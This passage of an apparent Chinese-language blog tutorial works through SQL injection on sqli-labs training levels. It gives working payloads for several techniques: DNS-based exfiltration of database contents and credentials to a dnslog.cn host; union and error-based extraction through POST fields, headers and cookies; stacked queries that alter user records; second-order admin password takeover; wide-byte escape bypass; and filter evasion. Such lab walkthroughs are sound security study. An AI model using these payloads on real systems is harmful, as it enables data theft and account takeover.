href=\"http://ceye.io\">http://ceye.io</a></p>\n<p>当我们将查询结果拼接到域名的前面，当服务器去访问这个地址的时候，我们查看DNS服务器的解析日志就可以了</p>\n<p>以Less-9为例：</p>\n<p>我们先在dnslog.cn中获取一个随机域名</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/dns.png\" class=\"\" title=\"dns\"></p>\n<p>然后我们构造如下paylaod：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=0' and (select load_file(concat('\\\\\\\\',(select database()),'.3mk8yd.dnslog.cn\\\\test'))) --+</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>实际上concat的结果为：\\\\security.3mk8yd.dnslog.cn\\test    \\\\为转义后的\\\\\\\\</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/dnslog.png\" class=\"\" title=\"dnslog\"></p>\n<p>可以看到security就被带出来了，不过Linux系统不支持UNC路径，并且DNS域名规范中只能包含字母、数字和连字符<code>-</code>，不能含有其他符号，否则DNS查询就会失败，不过也可以使用hex()函数，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=0' and (select load_file(concat('\\\\\\\\',hex((select database())),'.3mk8yd.dnslog.cn\\\\test'))) --+</span></span></code></pre>\n<p>日志中的结果就是：<code>7365637572697479.3mk8yd.dnslog.cn</code></p>\n<p>那么接下来的payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=0' and (select load_file(concat('\\\\\\\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.3mk8yd.dnslog.cn\\\\test'))) --+ //查询表名</span></span>\n<span class=\"line\"><span>/?id=0' and (select load_file(concat('\\\\\\\\',hex((select column_name from information_schema.columns where table_schema=database() limit 0,1)),'.3mk8yd.dnslog.cn\\\\test'))) --+ //查询第一个列名</span></span>\n<span class=\"line\"><span>/?id=0' and (select load_file(concat('\\\\\\\\',hex((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),'.3mk8yd.dnslog.cn\\\\test'))) --+ //查询指定表中的列</span></span>\n<span class=\"line\"><span>/?id=0' and (select load_file(concat('\\\\\\\\',hex((select concat(username,'-',password) from users limit 0,1)),'.3mk8yd.dnslog.cn\\\\test'))) --+ //limit绕过长度限制</span></span></code></pre>\n<p>由于DNS协议对域名长度有极其严格的物理限制，单一节点(两个.之间)最长63个字符，完整域名最长253个字符，UNC路径通常有一个MAX_PATH限制，默认是260字符，所以我们需要用到limit或者substring来限制长度</p>\n<h1 id=\"post提交注入\"><a class=\"anchor\" href=\"#post提交注入\">#</a> POST提交注入</h1>\n<p>以Less-11为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/11-1.png\" class=\"\" title=\"11-1\"></p>\n<p>给了我们一个类似登录的界面</p>\n<p>随便输入一串username和password，发现POST了一段内容为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=admin</span></span></code></pre>\n<p>需要先查找注入点在哪</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/11-2.png\" class=\"\" title=\"11-2\"></p>\n<p>当我们把username修改为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>username=admin' or 1=1 #   //POST提交注入中注释符需要修改为#</span></span></code></pre>\n<p>显示登陆成功，说明注入点在username并且闭合符为<code>'</code>单引号</p>\n<p>同样的接下来就是执行union联合注入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=admin' group by 2 # //判断列数</span></span>\n<span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=0' union select  database(),2 # //查数据库</span></span>\n<span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=0' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # //查表名</span></span>\n<span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database()),2 # //查列名</span></span>\n<span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2 # //查询指定表中的列名</span></span>\n<span class=\"line\"><span>passwd=123&#x26;submit=Submit&#x26;uname=0' union select (select group_concat(username,'~',password) from users),2 # //查询指定内容</span></span></code></pre>\n<p>同样的，POST提交注入也能实现报错注入和盲注，也能使用 sqlmap</p>\n<h1 id=\"http头注入\"><a class=\"anchor\" href=\"#http头注入\">#</a> HTTP头注入</h1>\n<p>页面看不到明显变化，找不到注入点时，可以尝试HTTP头注入</p>\n<h2 id=\"ua注入\"><a class=\"anchor\" href=\"#ua注入\">#</a> UA注入</h2>\n<p>UA注入，即User-Agent注入</p>\n<p>User-Agent，中文名为用户代理，简称UA，它是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等</p>\n<p>内容就是浏览器及版本信息，电脑信息等。</p>\n<p>常见用途为限制打开软件，浏览器，以及上网行为管理等。</p>\n<p>以Less-18为例：</p>\n<p>查看源码我们发现在username和password中输入其他字符会被转义：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$uname = check_input($con1, $_POST['uname']);</span></span>\n<span class=\"line\"><span>$passwd = check_input($con1, $_POST['passwd']);</span></span>\n<span class=\"line\"><span>$uagent = $_SERVER['HTTP_USER_AGENT'];</span></span></code></pre>\n<p>而这样一个代码有意思：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)\";</span></span></code></pre>\n<p>首先要求登陆成功，然后可以修改$uagent的参数（没有做check_input检查），做报错注入（只能做报错注入），在插入信息时执行指令导致出错，反馈错误信息，登录后输出uagent信息包括报错信息，达到注入效果。</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/18-1.png\" class=\"\" title=\"18-1\"></p>\n<p>成功登陆之后我们能发现他告诉了我们UA是什么，我们尝试在里面加上一些注入语句</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>' or extractvalue(1,concat(0x7e,database())) or '</span><span> //查数据库</span></span>\n<span class=\"line\"><span>' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) or '</span><span> //查表名</span></span>\n<span class=\"line\"><span>' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()))) or '</span><span> //查列名</span></span>\n<span class=\"line\"><span>' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) or '</span><span> //查询指定表中的列</span></span>\n<span class=\"line\"><span>' or extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1))) or '</span><span> //查询想要的内容并用limit绕过长度限制</span></span></code></pre>\n<p>当我们把构造的UA传入后（如果用and连接），代码变成了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>INSERT INTO logs (ip, user_agent, time) VALUES ('127.0.0.1', '' and extractvalue(...) and '', '2026-02-21');</span></span></code></pre>\n<p>由于<code>''</code>表示False，用and连接一整串都是False，程序就不会往后执行，所以需要用or来代替and</p>\n<h2 id=\"referer注入\"><a class=\"anchor\" href=\"#referer注入\">#</a> Referer注入</h2>\n<p>这里以Less-19为例：</p>\n<p>与UA注入差不多：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$insert=\"INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')\";</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/19-1.png\" class=\"\" title=\"19-1\"></p>\n<p>所以只需要把UA注入里面的payload放在Referer里面就行了</p>\n<h2 id=\"cookie注入\"><a class=\"anchor\" href=\"#cookie注入\">#</a> Cookie注入</h2>\n<p>这关以Less-20为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/20-1.png\" class=\"\" title=\"20-1\"></p>\n<p>查看源码我们发现：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$cookee = $_COOKIE['uname'];</span></span>\n<span class=\"line\"><span>$sql=\"SELECT * FROM users WHERE username='$cookee' LIMIT 0,1\";</span></span></code></pre>\n<p>我们尝试将cookie修改为</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>uname=Dumb' and 1=2 #</span></span></code></pre>\n<p>成功造成了错误界面，我们继续尝试使用union联合注入内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>uname=Dumb' order by 3 # //判断列数</span></span>\n<span class=\"line\"><span>uname=0' union select 1,(select database()),2 # //数据库 </span></span>\n<span class=\"line\"><span>uname=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # //表名</span></span>\n<span class=\"line\"><span>uname=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),2 # //列名</span></span>\n<span class=\"line\"><span>uname=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2 # //获取指定表中的列名</span></span>\n<span class=\"line\"><span>uname=0' union select 1,(select group_concat(username,0x7e,password) from users),2 # //获取指定数据</span></span></code></pre>\n<h1 id=\"堆叠注入\"><a class=\"anchor\" href=\"#堆叠注入\">#</a> 堆叠注入</h1>\n<p>堆叠注入就是用分号间隔命令，导致攻击者可以执行增删查改等操作</p>\n<p>以Less-39为例：</p>\n<p>本关为数字型注入，不需要闭合符，直接展示增加用户信息、删除用户信息的操作：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=520;insert into users(id,username,password)values(520,'ZLARYY1','zlaryy') --+ //增加</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/39-1.png\" class=\"\" title=\"39-1\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=520;update users set password=123456 where username='ZLARYY1'  --+ //更改</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/39-3.png\" class=\"\" title=\"39-3\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=520;delete from users where username='ZLARYY1'--+ //删除</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/39-2.png\" class=\"\" title=\"39-2\"></p>\n<h1 id=\"二次注入\"><a class=\"anchor\" href=\"#二次注入\">#</a> 二次注入</h1>\n<p>当用户提交的恶意数据被存入数据库后，应用程序再把它读取出来用于生成新的SQL语句时，如果没有相应的安全措施，是有可能发生SQL注入的，这种注入就叫做二次注入，也叫做存储型SQL注入，下面来演示一下二次注入</p>\n<p>二次注入的原理，在第一次进行数据库插入数据的时候，使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义，但是addslashes有一个特点就是虽然参数在过滤后会添加 “\\” 进行转义，但是“\\”并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。<br />\n比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入。<br />\n二次注入，可以概括为以下两步:</p>\n<p>第一步：插入恶意数据<br />\n进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。<br />\n第二步：引用恶意数据<br />\n开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。</p>\n<p>以Less-24为例：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$username= $_SESSION[\"username\"];</span></span>\n<span class=\"line\"><span>$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);</span></span>\n<span class=\"line\"><span>$pass= mysqli_real_escape_string($con1, $_POST['password']);</span></span>\n<span class=\"line\"><span>$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);\t</span></span>\n<span class=\"line\"><span> </span></span>\n<span class=\"line\"><span>if($pass==$re_pass)</span></span>\n<span class=\"line\"><span>&#123;\t</span></span>\n<span class=\"line\"><span>\t$sql = \"UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' \";</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<p>只有username没有被转义</p>\n<p>我们需要先注册一个admin'#的用户，密码就随便设一个123吧，然后登录进去</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/24-1.png\" class=\"\" title=\"24-1\"></p>\n<p>现在给了我们一个更改密码的界面，现在我们更改密码的语句就变成了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$sql = \"UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' \";</span></span></code></pre>\n<p>后面的校验current_password被注释掉了，所以我们现在更改的是admin用户的密码，并且不需要知道admin用户的原始密码是什么，这里我们将admin用户的密码修改为zlaryy</p>\n<p>显示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Password successfully updated</span></span></code></pre>\n<p>之后我们尝试登录admin用户</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/24-2.png\" class=\"\" title=\"24-2\"></p>\n<p>成功登录</p>\n<h1 id=\"无列名注入\"><a class=\"anchor\" href=\"#无列名注入\">#</a> 无列名注入</h1>\n<h2 id=\"join-using\"><a class=\"anchor\" href=\"#join-using\">#</a> join、using</h2>\n<p>无列名注入主要适用于column关键字被过滤的情况，这里学习两个新的内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>join：用于合并两张表</span></span>\n<span class=\"line\"><span>using：表示使用什么字段进行连接</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>在SQL语法中，当你把两张表JOIN（连接）在一起，并且使用 SELECT * 查询时，MySQL 会把两张表的所有列都拼接在一起生成一张新表。但是由于一张表里不允许出现相同的列名，所以如果我们使用两张相同的表拼接在一起，就会报重复列名错误：Duplicate column name 'id'</span></span></code></pre>\n<p>以Less-1为例：</p>\n<p>在通过union查询得到数据库名表名之后，我们通过无列名注入查询users表中的所有列名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' union select * from (select * from users as a join users as b)as c --+</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>//或者不使用union</span></span>\n<span class=\"line\"><span>/?id=1' and (select * from (select * from users as a join users as b)as c)--+</span></span></code></pre>\n<p>那么为什么需要最外层的select * from xxxxx as  c呢？</p>\n<p>这是由于只执行<code>select * from users as a join users as b</code>是不会导致列名重复报错的，这段代码结果只是将两个表拼接在一起返回一个结果集，但是我们需要的报错点在于一张表内重复出现相同列名，这段代码返回的并不是一张表，所以需要最外层有一个as c建立一张派生表，将这个结果集输入进去导致重复列名报错</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/join1.png\" class=\"\" title=\"join1\"></p>\n<p>这样我们成功获得了第一个重复的列名，接下来我希望获得其他重复列名，就需要用到using关键字了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and (select * from (select * from users as a join users as b using(id))as c)--+ //获得username列名</span></span></code></pre>\n<p>这里using意思就类似于如果遇到与id同名的列就把他们合并为一个而不报错</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and (select * from (select * from users as a join users as b using(id,username))as c)--+ //获得password列名</span></span></code></pre>\n<p>这样我们就获得了users表中所有的列名，最后只需要union联合注入查询就可以了</p>\n<h2 id=\"子查询\"><a class=\"anchor\" href=\"#子查询\">#</a> 子查询</h2>\n<p>子查询也是无列名注入的一种，可以不使用join和using，具体原理：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>在MySQL中，如果用UNION联合两句SELECT查询，最终合并出来的表的列名，是由第一句SELECT决定的。</span></span></code></pre>\n<p>比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT 1, 2, 3 UNION SELECT * FROM users;</span></span></code></pre>\n<p>MySQL 会在内存里拼出一张“虚拟表”。因为第一句是 <code>SELECT 1, 2, 3</code>，所以这张虚拟表的表头，被硬生生改成了数字 1,2,3，第二行开始才是users表里的数据</p>\n<p>接下来是查询数据的payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=0' union select 1,(select `2` from (select 1,2,3 union select * from users)as a limit 1,1),3 --+</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select `2`意思是查询列名为2的数据，再用limit限制输出第几行的内容</span></span></code></pre>\n<p>当然我们也可以将查询的几个列合并输出：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=0' union select 1,(select concat(`2`,'~',`3`) from (select 1,2,3 union select * from users)as a limit 1,1),3 --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/%E5%AD%90%E6%9F%A5%E8%AF%A2.png\" class=\"\" title=\"子查询\"></p>\n<h1 id=\"宽字节注入\"><a class=\"anchor\" href=\"#宽字节注入\">#</a> 宽字节注入</h1>\n<p>宽字节注入通常用在使用addslashes()函数等可以对输入字符进行转义的地方，且数据库得是GBK编码</p>\n<p>以Less-33为例：</p>\n<p>当我们传入<code>/?id=1'</code>时，下方的hint会告诉我们我们输入的内容变成了<code>1\\'</code></p>\n<p>那么我们就可以使用%df将\\（URL编码为%5c）合并，变成%df%5c（解码之后为一个汉字），后面再加上 <code>'</code>就可以成功绕过转义符了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=0%df' union select 1,(select database()),3 --+ //查数据库</span></span>\n<span class=\"line\"><span>/?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+ //查表名</span></span>\n<span class=\"line\"><span>/?id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3 --+ //查列名</span></span>\n<span class=\"line\"><span>/?id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3 --+ //采用十六进制绕过table_name='users'中的单引号</span></span>\n<span class=\"line\"><span>/?id=0%df' union select 1,(select group_concat(username,0x7e,password) from users),3 --+ //查询指定内容</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/33-1.png\" class=\"\" title=\"33-1\"></p>\n<h1 id=\"绕过过滤\"><a class=\"anchor\" href=\"#绕过过滤\">#</a> 绕过过滤</h1>\n<h2 id=\"注释符过滤\"><a class=\"anchor\" href=\"#注释符过滤\">#</a> <strong>注释符过滤</strong></h2>\n<p>如果不能使用--+，#，%23，那么我们可以使用闭合符将原始的闭合符给再次闭合掉，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and '1'='1</span></span></code></pre>\n<p>这样查询语句就变成了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$sql=\"SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1\";</span></span></code></pre>\n<p>同理还有：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1\" and \"1\"=\"1</span></span>\n<span class=\"line\"><span>/?id=1') and ('1')=('1</span></span>\n<span class=\"line\"><span>/?id=1\") and (\"1\")=(\"1</span></span></code></pre>\n<h2 id=\"and和or过滤\"><a class=\"anchor\" href=\"#and和or过滤\">#</a> <strong>and和or过滤</strong></h2>\n<ul>\n<li>\n<p>使用大小写绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>and->And or->oR</span></span></code></pre>\n</li>\n<li>\n<p>双写绕过（应对遇到过滤字符将其删除的情况）：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>and->anandd删除后变为and or->oorr删除后变为or</span></span></code></pre>\n</li>\n<li>\n<p>用&amp;&amp;取代and，用||代替or，适用于and和or作为逻辑运算符的时候</p>\n</li>\n</ul>\n<h2 id=\"空格过滤\"><a class=\"anchor\" href=\"#空格过滤\">#</a> <strong>空格过滤</strong></h2>\n<ul>\n<li>\n<p>用+代替空格</p>\n</li>\n<li>\n<p>用其他字符的URL编码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>空格：%20</span></span>\n<span class=\"line\"><span>TAB制表符：%09</span></span>\n<span class=\"line\"><span>换行符(\\n)：%0A</span></span>\n<span class=\"line\"><span>回车符(\\r)：%0D</span></span>\n<span class=\"line\"><span>换页符：%0C</span></span>\n<span class=\"line\"><span>垂直制表符：%0B</span></span>\n<span class=\"line\"><span>不换行空格(MySQL only)：%A0</span></span></code></pre>\n</li>\n</ul>\n<h2 id=\"union和select过滤\"><a class=\"anchor\" href=\"#union和select过滤\">#</a> <strong>union和select过滤</strong></h2>\n<ul>\n<li>\n<p>大小写绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>UnioN SElect</span></span></code></pre>\n</li>\n<li>\n<p>复写单词绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>uniunionon selselectect</span></span></code></pre>\n</li>\n<li>\n<p>尝试URL编码绕过</p>\n</li>\n<li>\n<p>Less-28中有一种过滤相连的union select，可以用union%A0select绕过</p>\n</li>\n<li>\n<p>使用报错注入</p>\n</li>\n</ul>\n<h2 id=\"逗号过滤\"><a class=\"anchor\" href=\"#逗号过滤\">#</a> <strong>逗号过滤</strong></h2>\n<ul>\n<li>\n<p>使用OFFSET绕过limit的逗号：</p>\n<p>不过使用limit...offset...语法为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>limit 返回的数量 offset 跳过的行数</span></span>\n<span class=\"line\"><span>所以limit 0,1用offset表示为limit 1 offset 0</span></span></code></pre>\n</li>\n<li>\n<p>使用FROM...FOR...绕过substring，mid的逗号：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>substring(database(),1,31) -> substring(database() from 1 for 31)</span></span></code></pre>\n</li>\n<li>\n<p>使用join绕过union select的逗号：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>union select 1,2,3 -></span></span>\n<span class=\"line\"><span>union select * from (select 1)a join (select 2)b join (select 3)c</span></span>\n<span class=\"line\"><span>//创造别名分别为a,b,c的表并用join拼接</span></span></code></pre>\n</li>\n<li>\n<p>使用case when ... 